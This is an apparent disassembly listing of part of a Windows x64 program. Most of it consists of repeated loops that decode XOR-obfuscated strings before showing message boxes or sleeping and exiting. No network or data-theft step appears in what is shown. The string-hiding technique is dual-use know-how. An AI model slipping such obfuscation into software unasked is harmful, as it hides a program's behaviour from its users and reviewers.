punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x298], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x29c]
xorps xmm11, xmm1
movd dword [rbp + 0x29c], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x2a0]
xorps xmm10, xmm1
movd dword [rbp + 0x2a0], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x2a4]
xorps xmm13, xmm1
movd dword [rbp + 0x2a4], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp + 0x2a8], xmm15
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x298]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14002e920
lea rdx, [rbp + 0x298]
lea rcx, [rbp + 0xdd0]
call fcn.140005500
nop
mov r8d, 0xff
lea rdx, [rbp + 0xdd0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xdd0]
call fcn.1400523c0
movups xmm0, xmmword [0x14009d048]
movups xmmword [rbp + 0xb58], xmm0
movups xmm1, xmmword [0x14009d058]
movups xmmword [rbp + 0xb68], xmm1
movups xmm0, xmmword [0x14009d068]
movups xmmword [rbp + 0xb78], xmm0
movsd xmm0, qword [0x14009d078]
movsd qword [rbp + 0xb88], xmm0
movzx eax, word [0x14009d080]
mov word [rbp + 0xb90], ax
cmp r12d, 2
jl 0x14002eae5
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0xb58]
mov edx, dword [rbp + 0x1300]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp ebx, 0x38
jl 0x14002e9f1
cmp ebx, 0x3a
jge 0x14002eb20
movsxd rax, ebx
lea r8, [rbp + 0xb58]
add r8, rax
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x3a
jl 0x14002eaf2
lea rdx, [rbp + 0xb58]
lea rcx, [rbp + 0xdf0]
call fcn.140005500
nop
mov r8d, 0xff
lea rdx, [rbp + 0xdf0]
mov rcx, r15
call fcn.140005a90
nop
lea rcx, [rbp + 0xdf0]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x14f0]
call fcn.140003dc0
nop
lea rcx, [rbp + 0x1498]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1478]
call fcn.140003dc0
nop
lea rcx, [rbp + 0x1450]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1390]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1370]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x13d0]
call fcn.1400523c0
jmp 0x1400231b7
movups xmm0, xmmword [0x14009b958]
movups xmmword [rbp + 0x928], xmm0
movups xmm1, xmmword [0x14009b968]
movups xmmword [rbp + 0x938], xmm1
movzx eax, byte [0x14009b978]
mov byte [rbp + 0x948], al
cmp r12d, 2
jl 0x14002ecf4
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x928]
mov edx, dword [rbp + 0x1300]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp ebx, 0x20
jl 0x14002ec00
cmp ebx, 0x21
jge 0x14002ed2f
movsxd rax, ebx
lea r8, [rbp + 0x928]
add r8, rax
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x21
jl 0x14002ed01
lea rdx, [rbp + 0x928]
lea rcx, [rbp + 0xe10]
call fcn.140005500
nop
mov r8d, 0xff
lea rdx, [rbp + 0xe10]
mov rcx, qword [rbp + 0x228]
call fcn.140005a90
nop
lea rcx, [rbp + 0xe10]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1498]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1478]
call fcn.140003dc0
nop
lea rcx, [rbp + 0x1450]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1390]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x1370]
call fcn.1400523c0
nop
lea rcx, [rbp + 0x13d0]
call fcn.1400523c0
mov al, 1
jmp 0x1400231b9
movups xmm0, xmmword [str.fPECYKNehU_]
movups xmmword [rbp + 0x900], xmm0
movups xmm1, xmmword [0x14009c4f8]
movups xmmword [rbp + 0x910], xmm1
movzx eax, byte [0x14009c508]
mov byte [rbp + 0x920], al
cmp r12d, 2
jl 0x14002ef04
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x900]
mov edx, dword [rbp + 0x1300]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add ebx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp ebx, 0x20
jl 0x14002ee10
cmp ebx, 0x21
jge 0x14002ef3f
movsxd rax, ebx
lea r8, [rbp + 0x900]
add r8, rax
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, bl
sub al, cl
add al, 0x34
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x21
jl 0x14002ef11
lea rdx, [rbp + 0x900]
lea rcx, [rbp + 0xe30]
call fcn.140005500
nop
mov r8d, 0xff
lea rdx, [rbp + 0xe30]
mov rcx, rdi
call fcn.140005a90
nop
lea rcx, [rbp + 0xe30]
jmp 0x14002ed71
mov rdx, qword [rbp + 0x1468]
cmp rdx, 0xf
jbe 0x14002efb6
inc rdx
mov rcx, qword [rbp + 0x1450]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002efb1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fb51
call fcn.1400626b0
mov qword [rbp + 0x1460], rbx
mov qword [rbp + 0x1468], 0xf
mov byte [rbp + 0x1450], 0
jmp 0x14002a41e
movsd xmm0, qword [0x14009ba08]
movsd qword [rsp + 0x70], xmm0
mov eax, dword [0x14009ba10]
mov dword [rsp + 0x78], eax
mov edx, 0x45
mov word [rsp + 0x70], dx
xor word [rsp + 0x72], 0x35
xor word [rsp + 0x74], 0x36
xor word [rsp + 0x76], 0x37
xor ax, 0x38
mov word [rsp + 0x78], ax
xor word [rsp + 0x7a], 0x39
movups xmm4, xmmword [str.rZR]
movups xmmword [rbp + 0x5b0], xmm4
movups xmm0, xmmword [0x14009c8a8]
movups xmmword [rbp + 0x5c0], xmm0
movq xmm5, qword [0x14009c8b8]
movq qword [rbp + 0x5d0], xmm5
movzx eax, word [0x14009c8c0]
mov word [rbp + 0x5d8], ax
mov r8d, ebx
cmp r12d, 2
jl 0x14002f287
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
pshufhw xmm0, xmm8, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm4
xorps xmm3, xmm1
movq qword [rbp + 0x5b0], xmm3
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
pshufhw xmm0, xmm11, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5b8]
xorps xmm3, xmm0
movq qword [rbp + 0x5b8], xmm3
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
pshufhw xmm0, xmm10, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5c0]
xorps xmm3, xmm0
movq qword [rbp + 0x5c0], xmm3
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
pshufhw xmm0, xmm13, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x5c8]
xorps xmm3, xmm0
movq qword [rbp + 0x5c8], xmm3
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
pshufhw xmm0, xmm15, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, xmm5
xorps xmm3, xmm0
movq qword [rbp + 0x5d0], xmm3
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x5b0]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x34
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x14002f2a0
mov r9d, r13d
lea r8, [rsp + 0x70]
lea rdx, [rbp + 0x5b0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x13a8]
cmp rdx, 0xf
jbe 0x14002f330
inc rdx
mov rcx, qword [rbp + 0x1390]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002f32b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002f7f2
call fcn.1400626b0
mov qword [rbp + 0x13a0], rbx
mov qword [rbp + 0x13a8], 0xf
mov byte [rbp + 0x1390], 0
mov rdx, qword [rbp + 0x1388]
cmp rdx, 0xf
jbe 0x140029edf
inc rdx
mov rcx, qword [rbp + 0x1370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029eda
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fabe
jmp 0x140029eda
movsd xmm0, qword [str.qGDRMK:]
movsd qword [rbp - 0x40], xmm0
mov ecx, dword [0x14009ba68]
mov dword [rbp - 0x38], ecx
movzx eax, word [0x14009ba6c]
mov edx, 0x45
mov word [rbp - 0x40], dx
xor word [rbp - 0x3e], 0x35
xor word [rbp - 0x3c], 0x36
xor word [rbp - 0x3a], 0x37
xor cx, 0x38
mov word [rbp - 0x38], cx
xor word [rbp - 0x36], 0x39
xor ax, 0x3a
mov word [rbp - 0x34], ax
movups xmm0, xmmword [0x14009e2b0]
movups xmmword [rbp + 0xbf0], xmm0
movups xmm1, xmmword [0x14009e2c0]
movups xmmword [rbp + 0xc00], xmm1
movups xmm0, xmmword [0x14009e2d0]
movups xmmword [rbp + 0xc10], xmm0
movups xmm1, xmmword [0x14009e2e0]
movups xmmword [rbp + 0xc20], xmm1
mov eax, dword [0x14009e2f0]
mov dword [rbp + 0xc30], eax
movzx eax, word [0x14009e2f4]
mov word [rbp + 0xc34], ax
cmp r12d, 2
jl 0x14002f53a
lea rcx, [rbp + 0xbf0]
nop
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add ebx, 8
lea rcx, [rcx + 0x10]
lea r14d, [r14 + 8]
cmp ebx, 0x20
jl 0x14002f440
cmp ebx, 0x23
jge 0x14002f582
movsxd rax, ebx
lea r8, [rbp + 0xbf0]
lea r8, [r8 + rax*2]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, bx
sub ax, cx
add ax, 0x34
xor word [r8], ax
inc ebx
lea r8, [r8 + 2]
cmp ebx, 0x23
jl 0x14002f550
mov r9d, r13d
lea r8, [rbp - 0x40]
lea rdx, [rbp + 0xbf0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, qword [rbp + 0x12b8]
test rcx, rcx
je 0x14002edb7
call fcn.14006f350
mov al, 1
jmp 0x1400231b9
movups xmm0, xmmword [0x14009ce50]
movups xmmword [rbp + 0x9d0], xmm0
movups xmm1, xmmword [0x14009ce60]
movups xmmword [rbp + 0x9e0], xmm1
movups xmm0, xmmword [0x14009ce70]
movups xmmword [rbp + 0x9f0], xmm0
movzx eax, byte [0x14009ce80]
mov byte [rbp + 0xa00], al
mov r8d, ebx
cmp r12d, 2
jl 0x14002f709
movdqa xmmword [rbp + 0x1300], xmm14
lea rcx, [rbp + 0x9d0]
mov edx, dword [rbp + 0x1300]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp r8d, 0x30
jl 0x14002f610
cmp r8d, 0x31
jge 0x14002f753
movsxd rax, r8d
lea r9, [rbp + 0x9d0]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x14002f720
xorps xmm0, xmm0
movups xmmword [rbp + 0x880], xmm0
mov qword [rbp + 0x890], rbx
mov qword [rbp + 0x898], rbx
lea rax, [rbp + 0x9d0]
inc r15
cmp byte [rax + r15], 0
jne 0x14002f772
mov r8, r15
lea rdx, [rbp + 0x9d0]
lea rcx, [rbp + 0x880]
call fcn.140005560
nop
mov r8d, 0xff
lea rdx, [rbp + 0x880]
mov rcx, rdi
call fcn.140005a90
nop
mov rdx, qword [rbp + 0x898]
cmp rdx, 0xf
jbe 0x1400231b7
inc rdx
mov rcx, qword [rbp + 0x880]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400231b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002fac4
jmp 0x1400231b2
call fcn.14007025c
nop
call fcn.140001b30
nop
mov rdx, r9
lea rcx, [rbp + 0x1150]
call fcn.140001d50
lea rdx, [0x1400a9240]
lea rcx, [rbp + 0x1150]
call fcn.1400646dc
nop
call fcn.140001b30
nop
call fcn.140001b30
nop
mov rcx, r9
call fcn.140014d50
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1400684b8
int3
mov rcx, r9
call fcn.140014d50
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1400684b8
int3
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [r9]
xorps xmm8, xmm0
movd dword [r9], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm11, xmm0
movd dword [r9 + 4], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm0, dword [r9 + 8]
xorps xmm10, xmm0
movd dword [r9 + 8], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, eax
paddb xmm13, xmm0
movd xmm0, dword [r9 + 0xc]
xorps xmm13, xmm0
movd dword [r9 + 0xc], xmm13
mov rcx, r9
call fcn.140014d50
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1400684b8
int3
mov rcx, r9
call fcn.140014d50
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call fcn.1400684b8
int3
mov rdx, r9
lea rcx, [rbp + 0x1138]
call fcn.140001d50
lea rdx, [0x1400a9240]
lea rcx, [rbp + 0x1138]
call fcn.1400646dc
nop
mov rdx, r9
lea rcx, [rbp + 0x1120]
call fcn.140001d50
lea rdx, [0x1400a9240]
lea rcx, [rbp + 0x1120]
call fcn.1400646dc
